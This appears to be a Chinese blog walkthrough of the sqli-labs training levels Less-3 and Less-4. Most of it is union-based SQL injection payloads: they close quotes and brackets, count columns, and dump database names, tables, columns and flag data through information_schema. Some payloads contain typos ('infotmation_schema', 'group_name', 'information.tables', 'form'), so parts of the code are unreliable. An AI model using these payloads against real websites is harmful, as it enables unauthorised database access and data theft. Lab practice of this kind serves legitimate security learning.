less3基于错误的GET单引号变形字符型注入
1、打开页面继续输入id=1查询,发现能够显示信息,继续查看寻找注入点,尝试输入?id=1'发现页面报错

2、根据报错判断,这里的sql查询语句为select * from users where id=('2')所以我们输入2’后就变成了id=('2'')这明显是错误的我们继续输入)闭合前面括号然后加上注释来注释掉后面的括号查看能否正常回显

3、发现可以回显,继续构造语句来判断字段数?id=1') order by 3 --+发现可以正常返回,输入4的时候页面报错,判断只有三列
?id=1') order by 3 --+

4、继续构造语句判断回显位置?id=-1') union select 1,2,3--+查看到2,3位置可以回显
?id=-1') union select 1,2,3--+

5、继续构造语句来查看当前数据库的用户和当前库名
?id=-1') union select 1,user(),database()--+

6、查看到了当前数据库的用户名和库后,继续使用mysql的系统库来查看当前mysql的所有数据库
?id=-1')union select 1,2,group_concat(schema_name)from information_schema.schemata

7、看到flag库,继续构造语句查看flag库内的表名
?id=-1')union select 1,2,group_concat(table_name)from information_schema.tables where table_schema=0x666c6167

8、看到了flag数据库下有一个flagtable表,继续构造语句查看flagtable表内的字段名
?id=-1')union select 1,2,group_concat(column_name)from infotmation_schema.columns where table_name=0x666c61677461626c65--+

9、看到表中有两个字段,一个是id一个是flag,继续构造语句拿出数据
?id=-1')union select 1,2,group_concat(id,0x3A,flag)from flag.flagtable--+

less4基于错误的GET双引号字符型注入
1、打开靶场先判断注入类型,输入id=1')and 1=2 --+发现页面依然有正确回显,输入双引号的时候页面无回显,所以判断要使用双引号闭合语句

2、还是构造语句判断有几列?id=1")order by 3 --+有显示,4的时候报错,所以判断只有三列
?id=1")order by 3 --+

3、然后判断回显位置,构造语句,看到2、3位置有回显
?id=-1")union select 1,2,3 --+

4、查看数据库基本信息
?id=-1")union select 1,user(),database() --+

5、继续使用mysql的系统库查看当前mysql下所有数据库的名字
?id=-1")union select 1,2,group_concat(schema_name)from information_schema.schemata --+

6、继续查看flag库下的表名
?id=-1")union select 1,2,group_name(table_name)from information.tables where table_schema=0x666c6167--+

7、看到flagtable表,继续构造语句查看表中的字段
?id=-1")union select 1,2,group_concat(column_name)from information_schema.columns where table_name=0x666c61677461626c65--+

8、看到有两个字段,继续构造语句拿到这两个字段的内容
?id=-1")union select 1,2,group_concat(id,0x3A,flag)form flag.flagtable--+


765

被折叠的 条评论
为什么被折叠?



